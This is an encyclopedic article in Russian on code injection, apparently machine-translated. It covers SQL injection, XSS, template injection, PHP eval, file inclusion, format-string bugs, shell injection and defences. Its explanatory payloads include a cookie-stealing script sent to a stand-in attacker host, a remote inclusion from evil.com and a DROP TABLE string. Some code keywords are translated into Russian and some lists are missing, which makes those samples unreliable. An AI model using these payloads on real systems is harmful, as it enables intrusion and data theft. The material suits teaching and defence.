Внедрение кода — это класс эксплойтов компьютерной безопасности , при которых уязвимые компьютерные программы или системные процессы не могут правильно обрабатывать внешние данные, такие как ввод пользователя, что приводит к тому, что программа неправильно интерпретирует данные как команду, которую следует выполнить . Используя этот метод, злоумышленник «внедряет» код в программу во время ее работы. Успешная эксплуатация уязвимости внедрения кода может привести к утечкам данных , доступу к ограниченным или критически важным компьютерным системам и распространению вредоносного ПО .
Уязвимости внедрения кода возникают, когда приложение отправляет ненадежные данные интерпретатору , который затем выполняет внедренный текст как код. Уязвимости внедрения часто встречаются в таких службах, как базы данных SQL , анализаторы XML , команды операционной системы , заголовки SMTP и другие аргументы программы. Уязвимости внедрения проще обнаружить при изучении исходного кода, чем при тестировании. [1] Статический анализ и фаззеры могут помочь обнаружить уязвимости внедрения. [2]
Существует множество типов внедрения кода, но большинство из них являются ошибками в интерпретации, поскольку они рассматривают безвредный пользовательский ввод как код или не отличают ввод от системных команд. Многие примеры ошибок интерпретации, подобные этим, могут существовать за пределами компьютерной науки, например, комедийная программа « Кто первый? » . Методы внедрения кода используются при взломе для получения информации, а также для повышения привилегий или получения доступа к системе. Внедрение кода может использоваться злонамеренно для многих целей, включая:
Внедрение кода, нацеленного на Интернет вещей, также может привести к серьезным последствиям, таким как утечка данных и сбой в обслуживании. [3]
5,66% всех уязвимостей, зарегистрированных в 2008 году, были классифицированы как внедрение кода, что является самым высоким процентом за всю историю. В 2015 году этот показатель снизился до 0,77%. [4]
Внедрение кода может быть сделано с благими намерениями. Например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без какого-либо злого умысла. [5] [6] Внедрение кода может, например:
Некоторые пользователи могут не подозревая, выполнять инъекцию кода, поскольку вводимые ими в программу данные не были учтены теми, кто изначально разрабатывал систему. Например:
Другим безвредным применением инъекции кода является обнаружение недостатков инъекции для поиска и устранения уязвимостей. Это известно как тест на проникновение .
Чтобы предотвратить проблемы с внедрением кода, можно использовать безопасные стратегии обработки ввода и вывода, такие как:
htmlspecialchars()
функции экранирования специальных символов для безопасного вывода текста в HTML, а также mysqli::real_escape_string()
функции изоляции данных, которые будут включены в SQL- запрос, что может защитить от SQL-инъекции .HttpOnly
флага для HTTP Cookies . Когда этот флаг установлен, он не позволяет клиентскому скрипту взаимодействовать с cookie-файлами, тем самым предотвращая определенные атаки XSS . [10]Описанные выше решения в первую очередь касаются веб-инъекции HTML или кода скрипта в серверное приложение. Однако при работе с инъекцией пользовательского кода на машине, управляемой пользователем, необходимо использовать другие подходы, что часто приводит к атакам с повышением привилегий. Некоторые подходы, которые используются для обнаружения и изоляции управляемых и неуправляемых инъекций кода, следующие:
SQL-инъекция использует синтаксис SQL для внедрения вредоносных команд, которые могут читать или изменять базу данных или искажать смысл исходного запроса. [13]
Например, рассмотрим веб-страницу с двумя текстовыми полями , которые позволяют пользователям вводить имя пользователя и пароль. Код страницы сгенерирует SQL-запрос для проверки пароля по списку имен пользователей:
ВЫБЕРИТЕ СписокПользователей.ИмяПользователяИЗСпискаПользователейГДЕСписокПользователей.ИмяПользователя = ' ИмяПользователя ' И СписокПользователей.Пароль = ' Пароль '
Если этот запрос возвращает какие-либо строки, то доступ предоставляется. Однако, если злонамеренный пользователь вводит допустимое имя пользователя и вводит допустимый код ( password' OR '1'='1
) в поле пароля, то результирующий запрос будет выглядеть следующим образом:
ВЫБЕРИТЕ СписокПользователей.ИмяПользователяИЗСпискаПользователейГДЕСписокПользователей.ИмяПользователя = ' ИмяПользователя ' И СписокПользователей.Пароль = ' Пароль ' ИЛИ ' 1 ' = ' 1 '
В приведенном выше примере предполагается, что «Пароль» пуст или представляет собой некую безобидную строку. « '1'='1'
» всегда будет иметь значение true, и будет возвращено много строк, тем самым разрешая доступ.
Эту технику можно усовершенствовать, чтобы разрешить выполнение нескольких операторов или даже загрузку и запуск внешних программ.
Предположим, что запрос имеет следующий формат:
ВЫБЕРИТЕ Пользователь.ИдентификаторПользователя ИЗ Пользователь , ГДЕ Пользователь.ИдентификаторПользователя = ' " + ИдентификаторПользователя + " ' И Пользователь.Пароль = ' " + Пароль + " '
Если у злоумышленника есть следующие входные данные:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
то запрос будет проанализирован как:
SELECT User . UserID FROM User WHERE User . UserID = '' ; DROP TABLE User ; --'AND Pwd = ''OR"='
Полученная User
таблица будет удалена из базы данных. Это происходит потому, что ;
символ обозначает конец одной команды и начало новой. --
обозначает начало комментария.
Впрыск кода — это вредоносное внедрение или внедрение кода в приложение. Некоторые веб-серверы имеют скрипт гостевой книги , который принимает небольшие сообщения от пользователей и обычно получает такие сообщения:
Очень хороший сайт!
Однако злоумышленник может знать об уязвимости внедрения кода в гостевую книгу и ввести сообщение, например:
Хороший сайт, думаю , я его возьму. <script> window.location = "https: //some_attacker/evilcgi/cookie.cgi ? steal = " + escape ( document.cookie ) </script>
Если другой пользователь просматривает страницу, то внедренный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако эта же ошибка программного обеспечения может быть случайно вызвана неприметным пользователем, что приведет к отображению на веб-сайте плохого HTML-кода.
HTML и внедрение скриптов — популярная тема, обычно называемая « межсайтовым скриптингом » или «XSS». XSS относится к уязвимости внедрения, при которой пользовательский ввод в веб-скрипт или что-то в этом роде помещается в выходной HTML без проверки на наличие HTML-кода или скрипта.
Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с эффектами специальных данных. [14]
Шаблонизаторы часто используются в современных веб-приложениях для отображения динамических данных. Однако доверие непроверенным пользовательским данным может часто приводить к критическим уязвимостям [15], таким как внедрение шаблонов на стороне сервера. Хотя эта уязвимость похожа на межсайтовый скриптинг , внедрение шаблонов может быть использовано для выполнения кода на веб-сервере, а не в браузере посетителя. Оно злоупотребляет общим рабочим процессом веб-приложений, которые часто используют вводимые пользователем данные и шаблоны для рендеринга веб-страницы. Пример ниже демонстрирует концепцию. Здесь шаблон {{visitor_name}}
заменяется данными во время процесса рендеринга.
Здравствуйте, {{visitor_name}}
Злоумышленник может использовать этот рабочий процесс для внедрения кода в конвейер рендеринга, предоставляя вредоносный visitor_name
. В зависимости от реализации веб-приложения он может выбрать внедрение, {{7*'7'}}
которое рендерер может разрешить в Hello 7777777
. Обратите внимание, что фактический веб-сервер оценил вредоносный код и, следовательно, может быть уязвим для удаленного выполнения кода .
Уязвимость инъекции возникает, когда злоумышленник может контролировать всю или часть входной строки, которая подается в вызов функции . [16]eval()
eval()
$myvar = 'somevalue' ; $x = $_GET [ 'arg' ]; eval ( '$myvar = ' . $x . ';' );
Аргумент " eval
" будет обработан как PHP , поэтому можно добавить дополнительные команды. Например, если "arg" установлен в " ", запускается дополнительный код, который выполняет программу на сервере, в данном случае " ".10; system('/bin/echo uh-oh')
/bin/echo
PHP позволяет сериализацию и десериализацию целых объектов . Если в функцию десериализации допускаются ненадежные входные данные, можно перезаписать существующие классы в программе и выполнить вредоносные атаки. [17] Такая атака на Joomla была обнаружена в 2013 году. [18]
Рассмотрим эту PHP-программу (которая включает файл, указанный в запросе):
<?php $color = 'blue' ; если ( isset ( $_GET [ 'color' ])) $color = $_GET [ 'color' ]; требуется ( $color . '.php' );
В примере ожидается, что будет предоставлен цвет, в то время как злоумышленники могут предоставить его, COLOR=http://evil.com/exploit
заставив PHP загрузить удаленный файл.
Ошибки форматной строки чаще всего возникают, когда программист хочет напечатать строку, содержащую предоставленные пользователем данные. Программист может ошибочно написать printf(buffer)
вместо printf("%s", buffer)
. Первая версия интерпретирует buffer
как форматную строку и анализирует любые инструкции форматирования, которые она может содержать. Вторая версия просто выводит строку на экран, как и предполагал программист. Рассмотрим следующую короткую программу на языке C, которая имеет локальный переменный массив password
символов , содержащий пароль; программа запрашивает у пользователя целое число и строку, а затем выводит предоставленную пользователем строку.
char user_input [ 100 ]; int int_in ; char password [ 10 ] = "Password1" ; printf ( "Введите целое число \n " ); scanf ( "%d" , & int_in ); printf ( "Введите строку \n " ); fgets ( user_input , sizeof ( user_input ), stdin ); printf ( user_input ); // Безопасная версия: printf("%s", user_input); printf ( " \n " ); вернуть 0 ;
Если пользовательский ввод заполнен списком спецификаторов формата, таких как %s%s%s%s%s%s%s%s
, то printf()
начнется чтение из стека . В конце концов, один из %s
спецификаторов формата получит доступ к адресу password
, который находится в стеке, и выведет его Password1
на экран.
Shell injection (или command injection [19] ) назван в честь оболочек UNIX , но применяется к большинству систем, которые позволяют программному обеспечению программно выполнять командную строку . Вот пример уязвимого скрипта tcsh :
# !/bin/tcsh # проверка arg выводит совпадение, если arg равен единице if ( $1 == 1 ) echo совпадение
Если вышеприведенное хранится в исполняемом файле ./check
, команда оболочки ./check " 1 ) evil"
попытается выполнить введенную команду оболочки evil
вместо сравнения аргумента с константой. Здесь атакуемый код — это код, который пытается проверить параметр, тот самый код, который мог бы пытаться проверить параметр, чтобы защититься от атаки. [20]
Любая функция, которая может быть использована для составления и запуска команды оболочки, является потенциальным средством для запуска атаки с использованием инъекции оболочки. Среди них system(), StartProcess() и System.Diagnostics.Process.Start().
Клиент-серверные системы, такие как взаимодействие веб-браузера с веб-серверами, потенциально уязвимы для инъекции оболочки. Рассмотрим следующую короткую программу PHP , которая может работать на веб-сервере для запуска внешней программы, вызываемой funnytext
для замены слова, отправленного пользователем, на какое-либо другое слово.
<?php passthru ( "/bin/funnytext" . $_GET [ 'USER_INPUT' ]);
В passthru
приведенном выше примере создается команда оболочки, которая затем выполняется веб-сервером. Поскольку часть команды, которую он создает, берется из URL, предоставленного веб-браузером, это позволяет URL внедрять вредоносные команды оболочки. В эту программу можно внедрять код несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим): [21]
Некоторые языки предлагают функции для правильного экранирования или заключения в кавычки строк, используемых для построения команд оболочки:
escapeshellarg()
иescapeshellcmd()
shlex.quote()
Однако это все еще накладывает бремя на программистов, чтобы знать/изучать эти функции и помнить об их использовании каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверять или очищать пользовательский ввод.
Более безопасной альтернативой является использование API, которые выполняют внешние программы напрямую, а не через оболочку, тем самым предотвращая возможность внедрения оболочки. Однако эти API, как правило, не поддерживают различные удобные функции оболочек и/или более громоздки/многословны по сравнению с лаконичным синтаксисом оболочки.
Доброжелательное использование внедрения кода происходит, когда пользователь изменяет поведение программы для соответствия системным требованиям.